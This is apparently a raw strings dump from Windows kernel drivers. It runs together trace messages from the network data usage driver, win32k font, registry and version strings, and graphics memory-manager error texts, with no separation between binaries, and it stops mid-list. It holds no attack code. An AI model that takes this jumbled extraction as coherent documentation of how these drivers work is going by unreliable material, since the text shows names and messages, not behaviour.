==> NduDriverDispatchCleanup <== NduDriverDispatchCleanup ==> NduDriverDispatchDevControl NduDeserializeAppContextData NduTokenGetAppContext NduTokenRegisterQuotaExceededNotification NduTokenQueryTokenUsage NduRegisterInterfaceByteCountLimitExceeded NduSetVpnDefaultOuterProcess NduAddVpnInnerInterface <== NduDriverDispatchDevControl ==> NduDeserializeAppContextData <== NduDeserializeAppContextData ==> NduInitializeDpcContext Ran out of memory at: NduInitializeDpcContext <== NduInitializeDpcContext ==> NduDispatchDpcOnCore KeGetProcessorNumberFromIndex KeSetTargetProcessorDpcEx <== NduDispatchDpcOnCore ==> NduWaitForDpcCompletion KeWaitForSingleObject(DpcContext->CompletionEvent) Ran out of memory at: NduSetDeviceDacl RtlInitializeSid RtlCreateAcl RtlAddAccessAllowedAce(DpsServiceSid) RtlAddAccessAllowedAce(BIServiceSid) RtlAddAccessAllowedAce(WCMServiceSid) RtlAddAccessAllowedAce(DusmServiceSid) RtlAddAccessAllowedAce(SSTPServiceSid) RtlAddAccessAllowedAce(RASMANServiceSid) RtlAddAccessAllowedAce(LocalSystem) RtlAddAccessAllowedAce(Admins) RtlCreateSecurityDescriptor RtlSetDaclSecurityDescriptor ObSetSecurityObjectByPointer ==> NduCreateDeviceIoObject IoCreateDevice NduSetDeviceDacl <== NduCreateDeviceIoObject ==> NduCreateDeviceContext Ran out of memory at: NduCreateDeviceContext NduInitializeDpcContext <== NduCreateDeviceContext RtlStringCchCopyA NduSerializeInterfaceStatsList NduSerializeAppContext NduRetrieveInterfaceStatsFromPassiveList NduRetrieveUserAppStatsFromPassiveTables Ran out of memory at: NduSnapshotStatistics NduCalculateTotalBufferSize <== NduSnapshotStatistics NduSerializeNetStatistics <== NduSerializeStatistics ==> NduProcessQueryStatistics User buffer is too small to fit the query stats data User buffer is too small to fit the serialized stats NduSerializeStatistics NduSnapshotStatistics User buffer is too small to fit the energy snapshot NduProcessQueryEnergy <== NduProcessQueryEnergy ==> NduInitializeWfpObjectCount Ran out of memory at: NduInitializeWfpObjectCount <== NduInitializeWfpObjectCount ==> NduUninitializeWfpObjectCount <== NduUninitializeWfpObjectCount ==> NduWfpObjectCountWait KeWaitForSingleObject <== NduWfpObjectCountWait Ran out of memory at: NduSetAppMetaDataList RtlStringCbCopyW NduSetAppMetaDataList <== NduSetAppMetaDataListForRegularFlow ==> NduSetAppMetaDataListForRedirectedFlow FwpsProxiedEndpointMetadataValueGet(FWPS_METADATA_FIELD_INTERNAL_PACKAGEID_CLAIM) FwpsProxiedEndpointMetadataValueGet(FWPS_METADATA_FIELD_SUB_PROCESS_TAG) FwpsProxiedEndpointClassifiableFieldGet(FWPS_FIELD_ALE_FLOW_ESTABLISHED_Vx_ALE_APP_ID) RtlStringCbLengthW FwpsProxiedEndpointClassifiableFieldGet(FWPS_FIELD_ALE_FLOW_ESTABLISHED_Vx_ALE_USER_ID) FwpsProxiedEndpointMetadataValueGet(FWPS_METADATA_FIELD_PROCESS_ID) <== NduSetAppMetaDataListForRedirectedFlow ==> NduCreateFlowContext Ran out of memory at: NduCreateFlowContext NduFindOrCreateProcessStats ==> NduSetAppMetaDataListWorkerRoutine NduSetAppMetaDataListForRedirectedFlow <== NduSetAppMetaDataListWorkerRoutine NduSetAppMetaDataListForRegularFlow FwpiFlowAssociateContextFast Inbound Ran out of memory at: NduCreateAndAssociateFlowContextToTransportLayer ==> NduRemoveAllFlowContexts FwpiFlowRemoveContextFast <== NduRemoveAllFlowContexts FwpsNetBufferListRemoveContext(NULL) NduCreateAndAssociateFlowContextToTransportLayer FwpiGetValueFromClassifyContext ==> NduInboundTransportClassify NduGetFlowContextFromClassify <== NduOutboundTransportClassify ==> NduInboundMacClassifyProcessSingleNbl Wake on Rx <== NduInboundMacClassifyProcessSingleNbl <== NduOutboundMacClassify ==> NduCalloutNotify <== NduCalloutNotify ==> NduCalloutNotify2 <== NduCalloutNotify2 ==> NduFlowDelete <== NduHandleNblDuplicated ==> NduHandleNblContextRemoved NduUpdateInterfaceStats NduUpdateInterfacePowerContext NduUpdateProcessStats NduTokenProcessNetioEnergyCost ==> NduHandleNblReceiveComplete NduHandleNblContextRemoved <== NduHandleNblReceiveComplete ==> UpdateWakeCountOnSendComplete No NBL context existed after SendComplete. NBL context exists after SendComplete. Wake on Tx <== UpdateWakeCountOnSendComplete ==> NduHandleFragmentReceived <== NduHandleFragmentReceived ==> NduNblNotifyCallback NduHandleNblCloned NduHandleNblDuplicated NduHandleNblReceiveComplete UpdateWakeCountOnSendComplete NduHandleFragmentReceived <== NduNblNotifyCallback ==> NduCreateWfpCalloutList Ran out of memory at: NduCreateWfpCalloutList <== NduCreateWfpCalloutList ==> NduInitializeWfpCalloutLayer FwpsCalloutRegister <== NduInitializeWfpCalloutLayer ==> NduInitializeWfpCalloutLayerFast FwpiCalloutRegisterWithoutDeviceFast0 <== NduInitializeWfpCalloutLayerFast ==> NduUninitializeWfpCalloutLayer <== NduUninitializeWfpCalloutLayer ==> NduUninitializeWfpCalloutLayerFast <== NduUninitializeWfpCalloutLayerFast ==> NduBfeStateChangeCallback NduInitializeWfpFiltersList <== NduBfeStateChangeCallback ==> NduCreateWfpContext Ran out of memory at: NduCreateWfpContext NduCreateWfpCalloutList NduCreateWfpFiltersList ==> NduInitializeWfpContext NduInitializeWfpObjectCount(WfpFlowCount) NduInitializeWfpObjectCount(WfpNblCount) FwpiReserveFlowLocation NduInitializeWfpCalloutLayer NduInitializeWfpCalloutLayerFast FwpmBfeStateSubscribeChanges ==> NduUninitializeWfpContext FwpmBfeStateUnsubscribeChanges ==> NduDeleteWfpContext Ran out of memory at: NduAddWfpFilterConditions ==> NduAddWfpCallout FwpmCalloutAdd0 <== NduAddWfpCallout ==> NduAddWfpFilter FwpmFilterAdd0 <== NduAddWfpFilter ==> NduInitializeWfpFilter NduAddWfpCallout NduAddWfpFilter <== NduInitializeWfpFilter ==> NduUninitializeWfpFilter FwpmFilterDeleteById0 FwpmCalloutDeleteByKey0 <== NduUninitializeWfpFilter ==> NduCreateWfpFiltersList Ran out of memory at: NduCreateWfpFiltersList NduCreateWfpCalloutFilter <== NduCreateWfpFiltersList ==> NduInitializeWfpFiltersList FwpmEngineOpen0 FwpmProviderAdd0 FwpmTransactionBegin0 FwpmTransactionCommit0 ==> NduUninitializeWfpFiltersList FwpmProviderDeleteByKey0 NDU Outbound Mac Frame Native SubLayer Filter NDU Outbound Mac Frame Native SubLayer Filter NDU Outbound Mac Frame Native Callout NDU Outbound Mac Frame Native Callout NDU Inbound Mac Frame Native SubLayer Filter NDU Inbound Mac Frame Native SubLayer Filter NDU Inbound Mac Frame Native Callout NDU Inbound Mac Frame Native Callout NDU Outbound Transport SubLayer Filter NDU Outbound Transport SubLayer Filter NDU Outbound Transport Callout NDU Outbound Transport Callout NDU Inbound Transport SubLayer Filter NDU Inbound Transport SubLayer Filter NDU Inbound Transport Callout NDU Inbound Transport Callout NDU Flow Established V6 SubLayer Filter NDU Flow Established V6 SubLayer Filter NDU Flow Established V6 Callout NDU Flow Established V6 Callout NDU Flow Established V4 SubLayer Filter NDU Flow Established V4 SubLayer Filter NDU Flow Established V4 Callout NDU Flow Established V4 Callout ==> NduCreatePerInterfaceStats Ran out of memory at: NduCreatePerInterfaceStats <== NduCreatePerInterfaceStats ==> NduCleanupPerInterfaceStats <== NduCleanupPerInterfaceStats ==> NduUpdateInterfaceStatsEntryList Ran out of memory at: NduUpdateInterfaceStatsEntryList <== NduUpdateInterfaceStatsEntryList ==> OldNduUpdateInterfaceStatsEntryList Ran out of memory at: OldNduUpdateInterfaceStatsEntryList <== OldNduUpdateInterfaceStatsEntryList ==> NduUpdateInterfaceStats NduUpdateInterfaceStatsEntryList <== NduUpdateInterfaceStats ==> NduTogglePerProcActiveInterfaceStatsList <== NduTogglePerProcActiveInterfaceStatsList No interface stats to convert Ran out of memory at: NduConvertInterfaceStatsListToUserInterfaceStatsArray <== NduConvertInterfaceStatsListToUserInterfaceStatsArray ==> NduRetrieveInterfaceStatsFromPassiveList NduConvertInterfaceStatsListToUserInterfaceStatsArray <== NduRetrieveInterfaceStatsFromPassiveList <== NduProcessInterfaceByteCountLimit ==> NduPerProcByteCountLimitNotificationDpc Ran out of memory at: NduPerProcByteCountLimitNotificationDpc <== NduPerProcByteCountLimitNotificationDpc ObReferenceObjectByHandle Ran out of memory at: NduRegisterInterfaceByteCountLimitExceeded ObReferenceObjectByHandle(PerProcNotificationEvent) NduDispatchDpcOnCore(UnregisterByteCount) <== NduRegisterInterfaceByteCountLimitExceeded ==> NduUnregisterInterfaceByteCountLimitExceeded Ran out of memory at: NduUnregisterInterfaceByteCountLimitExceeded <== NduUnregisterInterfaceByteCountLimitExceeded ==> NduCreateStatsContext Ran out of memory at: NduCreateStatsContext NduTokenCreateComputeTokensWorker <== NduCreateStatsContext ==> NduCleanupStatsContext <== NduCleanupStatsContext Ran out of memory at: NduCloneAppMetaDataList <== NduCloneAppMetaDataList ==> NduCreateAppStats Ran out of memory at: NduCreateAppStats NduCloneAppMetaDataList <== NduCreateAppStats ==> NduCleanupAppStats NduCreateAppStats NduTokenSetTrackTokenUsage <== NduFindOrCreateAppStatsEx Ran out of memory at: NduCreateProcessStats NduFindOrCreateAppStats <== NduCleanupProcessStats ==> NduFindOrCreateProcessStats NduCreateProcessStats ==> NduUpdateProcessStats <== NduUpdateProcessStats ==> NduTogglePerProcActiveProcessStatsTable <== NduTogglePerProcActiveProcessStatsTable Ran out of memory at: NduConvertAppMetaDataListToUserAppContext NduConvertAppMetaDataListToUserAppContext No process stats to convert Ran out of memory at: NduConvertProcessStatsListToAppStatsArray NduConvertProcessStatsEntryToAppStats NduConvertProcessStatsListToAppStatsArray <== NduRetrieveUserAppStatsFromPassiveTables ULongMult No matching app context found for the given cookie <== NduTokenFindAppContextByCookie <== NduTokenInitializeTokenStats ==> NduTokenSetTrackTokenUsage The target appstats is already being tracked for token usage;bailing out <== NduTokenSetTrackTokenUsage ==> NduTokenGetAppContext NduFindOrCreateAppStatsEx <== NduTokenGetAppContext <== NduTokenReleaseAppContext ==> NduTokenRegisterQuotaExceededNotification <== NduTokenRegisterQuotaExceededNotification ==> NduTokenUnregisterQuotaExceededNotification <== NduTokenUnregisterQuotaExceededNotification ==> NduTokenQueryTokenUsage <== NduTokenQueryTokenUsage ==> NduTokenProcessWorkItem Ran out of memory at: NduTokenProcessWorkItem ULongLongMult ULongLongSub ULongdd ULongAdd Quota exhausted. Notifying client <== NduTokenProcessWorkItem NduTokenProcessWorkItem <== NduTokenProcessWorkItemsQueue KeWaitForMultipleObjects <== NduTokenComputeTokensWorkerRoutine Ran out of memory at: NduTokenProcessNetioEnergyCost ==> NduTokenCreateComputeTokensWorker Ran out of memory at: NduTokenCreateComputeTokensWorker PsCreateSystemThread <== NduTokenCreateComputeTokensWorker ==> NduTokenCleanupComputeTokensWorker ZwWaitForSingleObject <== NduTokenCleanupComputeTokensWorker NduGetOuterProcessIdForVpnCxn: ConvertInterfaceLuidToAlias failed to get the VPN connection name NduGetOuterProcessIdForVpnCxn: DPGetProcessIdFromProfileName0 failed to get the processId from the VPN connection name NduGetOuterProcessIdForVpnCxn: (ignore) NduSetVpnDefaultOuterProcess: NduAddVpnInnerInterface: NduGetOuterProcessIdForVpn - NduFindVpnCxnByLuid failed. Return NDU_NO_OUTER_PROCESS: ==> NduCreateInterfacePowerContext Ran out of memory at: NduCreateInterfacePowerContext <== NduCreateInterfacePowerContext ==> NduCleanupInterfacePowerContext <== NduCleanupInterfacePowerContext ==> NduUpdateInterfacePowerContext NduUpdateInterfaceTimeStatsEntryList <== NduUpdateInterfacePowerContext ==> NduUpdateInterfaceTimeStatsEntryList Ran out of memory at: NduUpdateInterfaceTimeStatsEntryList <== NduUpdateInterfaceTimeStatsEntryList Ran out of memory at: NduQueueWorkItemForProcessEnergyData <== NduRetrieveInterfaceEnergyFromPassiveList <== NduProcessUpdateProcessEnergyQueue <== NduUpdateProcessEnergyWorkerRoutine ==> NduCreateUpdateProcessEnergyWorker Ran out of memory at: NduCreateUpdateProcessEnergyWorker <== NduCreateUpdateProcessEnergyWorker ==> NduCleanupUpdateProcessEnergyWorker <== NduCleanupUpdateProcessEnergyWorker ==> NduNpiProviderInitialize Ran out of memory at: NduNpiProviderInitialize NmrRegisterProvider <== NduNpiProviderInitialize ==> NduNpiProviderUninitialize NmrProvider deregistration failed <== NduNpiProviderUninitialize ==> NduSetAppMetaDataListForContainerOrVmId Ran out of memory at: NduSetAppMetaDataListForContainerOrVmId StringFromGuid <== NduSetAppMetaDataListForContainerOrVmId IfType is neither ethernet, wlan, nor wwan. ==> NduNpiAttributeNetworkUsageToApp Outbound NduSetAppMetaDataListForContainerOrVmId NduGetOuterProcessIdForVpn failed to retrieve the VPN plugin process Id for the given PPP virtual interface luid. <== NduNpiAttributeNetworkUsageToApp ==> NduNpiProviderAttachClient Bad NMR interface version <== NduNpiProviderAttachClient ==> NduNpiProviderDetachClient <== NduNpiProviderDetachClient TELASSERT API- EXT- Hmgr GreLock Default IME Palette DevLock DynamicModeChange Pointer Sprite DCVisRgn SysSetRedraw Marlett nmlkji gfedcb RFONT_Cache DwmState SpriteRangeLock DriverMgmt \??\ \fonts\ PublicPFT RFONTList MS Shell Dlg SystemDefaultEUDCFont Segoe UI Symbol FIXEDSYS Ms Sans Serif EUDC2 SYSTEM FIXEDSYS TERMINAL SMALL FONTS \Registry\Machine\System\CurrentControlSet\Control\Nls\Language SystemSetupInProgress \Registry\Machine\System\Setup \Windows\WindowStations\WinSta0 \SystemRoot\Fonts\ \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Gre_Initialize \Registry\Machine\System\CurrentControlSet\Hardware Profiles\Current\Software\Fonts \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Gre_Initialize\SmallFont \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Gre_Initialize\LargeFont AllowSCPUAFontFallback FontAssoc\Associated DefaultFonts FontAssoc\Associated CharSet FontLink FontLinkControl FontLinkDefaultChar MEMORY-%u \SystemRoot\System32\winsrv.dll \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Fonts \SystemRoot\system32\fontdrvhost.exe \SystemRoot\system32\win32kfull.sys FeatureDisabledList OpenType) .FON HHHHH HHHHHHHHHHHHHHH HHHHHHHHHH HHHH HHHH HHHHHH HHHHHHH HHHHHHH HHHHHHHHHH HHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHH HHHHHH HHH++++++HH BBBBBBBBBBBB BBBBBBBBBBHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHH HHHHHHHHHHHHH HHHHHHHHHHHHHH HHHH HHHH HHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHH marlett.ttf DisableFontBootCache FONTS.FON OEMFONT.FON FIXEDFON.FON InitializeDManipHook \Software\Microsoft\Windows NT\CurrentVersion\Windows\InteractiveControl \Software\Microsoft\Windows\CurrentVersion\PrecisionTouchPad\Status \Software\Microsoft\Windows\CurrentVersion\PrecisionTouchPad \Software\Microsoft\Wisp\Pen\SysEventParameters\FlickCommands HostBasedHaptics SuppressMessageFlags HapticsEnabled ReportMode DefaultResolution ConstantResolution RotationSensitivity PressAndHoldDelay AllowRotationDuringHold RotationAllowedDuringHold TicksPer120 MinWheelDelta MinWheelTimeDeltaMs IdleTimeout ZoomWheelDelta ZoomWheelDeltaForKbd Ballistics.Scroll.TT.0 Ballistics.Scroll.TT.1 Ballistics.Scroll.TP120.0 Ballistics.Scroll.TP120.1 Ballistics.Scroll.TP120.2 Ballistics.Zoom.TP120 DeadzoneEnabled DeadzoneLAngleBegin DeadzoneLAngleEnd DeadzoneRAngleBegin DeadzoneRAngleEnd DeadzoneRadiusMm VisRgnUniqueness EnableCursorSuppression \Software\Microsoft\Wisp\MultiTouch PreventFlicks \Software\Policies\Microsoft\TabletPC \Registry\Machine \Software\Microsoft\Wisp\Touch \Software\Microsoft\TouchPrediction Disconnect Default FntCache windows vista windows seven windows eight windows blue windows threshold RFONT_EUDC NULL TrustedFontFileTable GlyphSet NetworkedFontFile ChildWindowDpiIsolation DwmComposedEvent_%x \Sessions\%ld\BaseNamedObjects \Sessions\%ld\BaseNamedObjects\%ws EnableResizeOptimization ResizeTimeoutGdi ResizeTimeoutModern \Registry\Machine\Software\Microsoft\Windows\DWM DisableDeviceBitmaps PrintKView DEFAULT TSDDD FontPackageDontCare FontPackageRoman FontPackageDecorative FontPackageModern FontPackageScript FontPackage FontPackageSwiss \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows UMPDSecurityLevel MSYHSIMS.TTC BD.TTC L.TTC \Registry\Machine\SYSTEM\CurrentControlSet\Control\EAS\Policies \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System InactivityTimeoutSecs WIN://SCMUserService %s_%x_%x_%x_%x \RPC Control\UmpdProxy CoreWindowProp InterceptWindowData FlashWState OTHERWINDOWCREATED SysSwapChain SysWNDO SysVisRgnTracker SysTouchFlags Message SysCP SysDispAffinity OTHERWINDOWDESTROYED DesktopRecalcInfo ShutdownBlockingReason ACTIVATESHELLWINDOW SysFeedbackSettings SysQOS SysShadow MonitorInheritance SHELLHOOK MicrosoftWindowsTargetingWindow SysFrostedWindow DwmWindowNotifyBatch SysDCompHwndTargets SysIMEL SysDDEI SysLayer SysDCompHwndBitmap OleMainThreadWndClass BrokeredForeground SysDT Button Edit Static ListBox ScrollBar ComboBox MDIClient ComboLBox DDEMLEvent DDEMLMom DMGClass DDEMLAnsiClient DDEMLUnicodeClient DDEMLAnsiServer DDEMLUnicodeServer Ghost \Registry\Machine\System\CurrentControlSet\Hardware Profiles\ \Software\Fonts \Registry\Machine\System\CurrentControlSet\Hardware Profiles \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard\ExceptionFormats %ws\%ld\BaseNamedObjects\%ws \Sessions \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\FontMapper\FamilyDefaults Roman Swiss Modern Script Decorative \SystemRoot\Fonts DpiScalingVer Win8DpiScaling null PlaySoundKRpc%X LinearityData \Registry\Machine\System\CurrentControlSet\Control\TabletPC\LinearityData \Registry\Machine\System\CurrentControlSet\Control\TabletPC UserLinearityData \Registry\User\.DEFAULT Control Panel\Desktop HTSurfaceSizeLimit DisableSaneLimits GRE_Initialize FontSubstitutes Default Sans Serif MS SANS SERIF DEFAULT SANS SERIF \SystemRoot\System32\Drivers\ \SystemRoot\System32\ \SystemRoot\System32\win32k.sys \SystemRoot\System32\win32kbase.sys \SystemRoot\System32\win32kmin.sys \SystemRoot\System32\win32kfull.sys \Registry\Machine\System\CurrentControlSet\Control\PnP MaxOpenAttempts InitialKeyboardIndicators ObjectLink OwnerLink Native Binary FileName FileNameW NetworkName DataObject Embedded Object Embed Source Custom Link Source Link Source Object Descriptor Link Source Descriptor OleDraw PBrush MSDraw Ole Private Data Screen Picture OleClipboardPersistOnFlush MoreOlePrivateData \BaseNamedObjects WinSta0_DesktopSwitch GUIFont.Weight GUIFont.CharSet GUIFont.Facename GUIFont.Italic GUIFont.Height Hotkey FontMapperFamilyFallbackDeprecated AssocSystemFont \Device\Beep FontCache NumberOfDeviceFontFilesAtLastLogOff NumberOfPublicFontFilesSetByUser NumberOfDeviceFontFilesSetByUser NumberOfPublicFontFilesAtLastLogOff RITdemonTimerPowerSaveElapse RITdemonTimerPowerSaveCoalescing UmfdHostCrashLimit \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_Initialize FontMapper LogPixels \Registry\Machine\System\CurrentControlSet\Control\Nls\CodePage REMOTE-%u SetupProgramNames SysWndMargin Control Panel\TabletPC\TiltData\DisplayOrientationDefault Control Panel\TabletPC\TiltData\DisplayOrientation180 Control Panel\TabletPC\TiltData\DisplayOrientation90 Control Panel\TabletPC\TiltData\DisplayOrientation270 \Registry\Machine\System\CurrentControlSet\Control\TabletPC\UserLinearityData {773F1B9A-35B9-4E95-83A0-A210F2DE3B37}-request {773F1B9A-35B9-4E95-83A0-A210F2DE3B37}-running SensorPresent \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AutoRotation SlateEnable Enable Empty ResourceID %i EventRitExited UserDebuggerHotkey WinSta0_RIT Win32k Raw Input Thread EventShutDownCSRSS \Device\KsecDD \Device\MountPointManager t\??\VIRTUAL_DIGITIZER abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !S./ &'+M5 ,-+9 SysShadow DesktopDPIOverride Attributes TTOnly RestrictDebuggerForeground \System32\directmanipulation.dll P@PXH` IO_DT Win32k Desktop Thread (IO_DT) NOIO_DT Win32k Desktop Thread (NOIO_DT) Service-0x%x-%x$ WinSta0 EnablePerProcessSystemDPI TimerCoalescing \Registry\Machine\software\microsoft\Windows NT\CurrentVersion\Windows %ws\Service-0x%x-%x$ sMaximumSpeed Flags TextEffect TimeToMaximumSpeed High Contrast Scheme WindowsEffect IsHvsiContainer \Registry\Machine\System\CurrentControlSet\Control\Hvsi Locale Service-0x00000000-00000000$ inputForegroundObservation TopEdgeThreshold \Software\Microsoft\Windows NT\CurrentVersion\Windows\Input\EdgePalmRejection HorizEdgeThreshold VertEdgeThreshold forcelegacy \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Edgy R9R9 R9R9 R9R9 R9R9 R9R9 R9R9 \Software\Microsoft\Input\WakeableInputTypes \Control Panel\Cursors\CursorCrosshairSettings \Software\Microsoft\Wisp\Pen\SysEventParameters \Software\Microsoft\Wisp\Pen\SysEventParameters\CustomFlickCommands\ ModifierKeys \Software\Microsoft\Windows NT\CurrentVersion\Windows\EnhancedPenSupport KeyCode FriendlyName WmiQueryTraceInformation EtwRegisterClassicProvider PsGetVersion WmiTraceMessage EtwUnregister ForceDisableGDIScaling UNTRUSTED MEDIUM HIGH \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard\IntegrityLevelDef winnt lanmannt pService CursorBlinkEnable Video Microsoft.Windows.WindowFactory.ViewId current thread is not Per-Monitor DPI aware off thread without IAM access LAF check failed (limited access feature) window is not a top level window invalid window handle display change and no intercept window property system operation without pending state recalc re-run but no pending recalc state recalc re-run request not supported off thread move to monitor with maximize state and position invalid placement state display change with wrong topology id display change without pending state frame bounds without position or size arrange without a position or size changing state with size or pos but not both move to monitor with arrange state and position monitor scale and monitor move normal rect with normal state and position or size normal rect without placement state invalid insert after window monitor scale and dpi monitor scale and fit to monitor monitor scale without normal placement state monitor scale without position or size restore from min flags without min state invalid dpi empty work area monitor scale and work area restore to max and restore to arrange restore to max and restore to normal restore to arrange without position or size restore to normal and restore to arrange Unknown error reason off thread display change but recalc for window is enabled restore to arrange and restore to normal WPS_NORMAL WPS_MINIMIZED WPS_MAXIMIZED valid Applied Intercepted Posted top level ApiOld Unknown NoPendingRecalc VerticalMaximize MigrateHotkey Async AsyncOld CommitMoveSize MoveSize StartupInfo ShowWinCallout ShellMigrateOwned ShellMigrate ShellSetWindowPos MoveSizeHardExit DesktopRecalc Screen-saver Winlogon RapidHpdTimeoutMs NumLargeEventFailures SummaryCount MaxEntriesFlushed MinEntriesFlushed NumBucketLimitReached NumAllocationFailures NumFlushes MaxEntriesStored TotalEntriesFlushed \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\FontDPI Overrode \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\DPI UseDpiScaling Software\Microsoft\Windows\DWM \KernelObjects\SystemErrorPortReady \WindowsErrorReportingServicePort LastBootTimeFontCacheState \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Type 1 Installer\Type 1 Fonts Jpn98FixPitch \SystemRoot\system32\FNTCACHE.DAT SystemFontSize SystemFont System Terminal \SystemRoot\System32\atmdrvr.dll \SystemRoot\System32\atmfd.dll EUDC.TTE %SYSTEMROOT% \EUDC\ \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink SimSun-ExtG \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\ UpdateFontLinks Fixed Miriam Transparent Miriam Fixed Simplified Arabic Fixed Courier New Rod Transparent UN.TTC UNB.TTF UNEXTG.TTF OEM(FF) CODEPAGECOMPAT ANSI(00) SYMBOL(02) Arial Microsoft Sans Serif DisableDeviceBitmapsForMultiAdapter OverlayTestMode EnableDesktopOverlays CapabilitiesString FAC.ATM atmfd.dll GSESC atmlib.dll \system32\ ext-ms-win-moderncore-win32k-base-sysentry-l1-1-0 TELASSERT MICROSS.TTF,Microsoft Sans Serif,108,122 MICROSS.TTF,Microsoft Sans Serif SIMSUN.TTC,SimSun MINGLIU.TTC,PMingLiU MSMINCHO.TTC,MS PMincho BATANG.TTC,Batang MSYH.TTC,Microsoft YaHei UI MSJH.TTC,Microsoft JhengHei UI YUGOTHM.TTC,Yu Gothic UI MALGUN.TTF,Malgun Gothic kklijlj VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Base Win32k Kernel Driver FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName win32kbase_rs.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename win32kbase_rs.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation Failed to allocate queue packet, returning 0x%I64x Invalid allocation index specified in patch location list element %I64d. Failing preparation due to offered allocation (Alloc: 0x%p) NULL pointer in pVidSchContext or pVidSchSubmitCommandData, returning 0x%I64x NULL pointer in pVidSchGlobal, returning FALSE Handle type mismatch Injecting swizzling aperture fault. NULL pointer in pVidSchContext or other required pointer, returning 0x%I64x NULL pointer in pVidSchContext or pCallBack, returning 0x%I64x Invalid VidPnSourceId (0x%I64x) specified, returning FALSE Couldn't initialized pool for process heap block, Status = 0x%08X. Couldn't allocate memory for pool block. Couldn't allocate memory for VIDMM_LINEAR_POOL structure. Invalid VidPnSourceId (Check 2) NULL pointer in pVidSchDevice or pDeviceError, returning 0x%I64x NULL pointer in pVidSchDevice, returning 0x%I64x Unknown synchronization object type FALSE Couldn't allocate memory for DMA buffer queue packet array. Couldn't allocate memory for the DMA buffer allocation list. Unmapping allocation which hasn't been mapped Trying to resize DMA buffer to be smaller than starting size. NULL pointer in pVidSchContext, returning 0x%I64x Couldn't allocate memory process heap manager. Couldn't allocate memory for adapter info array. NULL pointer in pVidSchDevice or pVidSchFlushData, returning 0x%I64x NULL pointer in pVidSchDevice or pulCurrentQueuedPresentLimit, returning 0x%I64x NULL pointer in pDxgProcess, returning NULL NULL pointer in pDxgContext or other required pointer, returning 0x%I64x Couldn't allocate memory for adapter info. EndCPUAccess() trying to unlock an invalid allocation instance. VidMmMultiAlloc: 0x%I64X, Instance: %I64d Couldn't allocate memory for multi allocation. FlipOverrideMode GraphicsDrivers\Scheduler Couldn't allocate memory for segment range tracking structure. Failed to initialize WIL feature staging, Status=0x%.8x Failed to initialize Vidmm globals, Status=0x%.8x Failed to allocate memory for VIDMM_PROCESS::_pDxProcessPerAdapterCount. Failed to allocate memory for VidSchSystemProcess.ppProcessAdapterInfo-> Failed to allocate memory for VidSchSystemProcess.pGpuAccessBlockAdapterMask. Invalid paging node index %I64d Total number of engine on logical adapter can't exceed %I64d Couldn't allocate memory for migration table. Couldn't allocate memory for the segment. Invalid flags specified for segment #%d. Invalid set of flags specified for AGP segment. Only one AGP segment can be specified. Couldn't allocate memory for segment #%d. Couldn't initialize AGP segment, NtStatus=0x%08X. Couldn't initialize the memory segment #%d. Couldn't allocate DMA pool for the paging device. Couldn't initialize the DMA pool for the paging device, NtStatus=0x%08X Couldn't allocate memory for swizzling range array. Couldn't allocate VIDMM_CROSSADAPTER_ALLOC. System device allocations are not supported yet. System context allocations are not supported yet. The caller specified a non-NULL context for a cross context allocation, return an error to catch logical errors in caller's code. Attempting to destroy a NULL context allocation. Couldn't allocate memory for multi global allocation. Can't create an allocation of zero size. Specified read segment set reference invalid segment. Supported read segment set can't be 0. Specified write segment set reference invalid segment. Specified write segment set is invalid. It must be a subset of the supported read segment. Must specified PitchAlignedSize on allocation supported in PitchedAlign segment. PitchAlignedSize must be greater or equal to Size. Specified eviction segment set is invalid as it contains memory segment. Can't use a segment requiring pitch alignment for paging. Specified preferred segment is invalid. It must be a subset of the supported read segment set. A valid preferred segment must be specify to use banking. Bank range index %d(%d) is invalid for hinted segment id %d. Need to specify the CpuVisible flags in combination with PermanentSysMem. Shareable, ManagedPrimary and Primary can't be specified in combination with PermanentSysMem. Need to specify the CpuVisible bit in combination with Cached. ManagedPrimary and Primary can't be specified in combination with Cached. Cached allocations must only support cache coherent segments on adapters which have cache coherent aperture segments available. Cached allocations must only support aperture segments on adapters which do not have any cache coherent aperture segments. Shareable can only be used in combination with CpuVisible if the supported segment set contains exclusively aperture segment. PermanentSysMem, Protected, ExistingSysMem, ExistingKernelSysMem, or Primary flags can't be specified with Shareable. Cross adapter allocations must be shareable. Cross adapter allocations must use only aperture segment. Cross adapter allocations cannot be swizzled. Cross adapter allocations must have pointer to VIDMM_CROSSADAPTER_ALLOC. Context allocations can only be used in combination with CpuVisible if the supported segment set contains exclusively aperture segment. CpuVisible context allocations must be Protected. PermanentSysMem, Swizzled, Overlay, Capture, UseAlternateVA, SynchronousPaging, LinkMirrored, LinkInstanced or Primary flags can't be specified for context allocations. Protected flag must be specified with CddBitmap. CpuVisible, 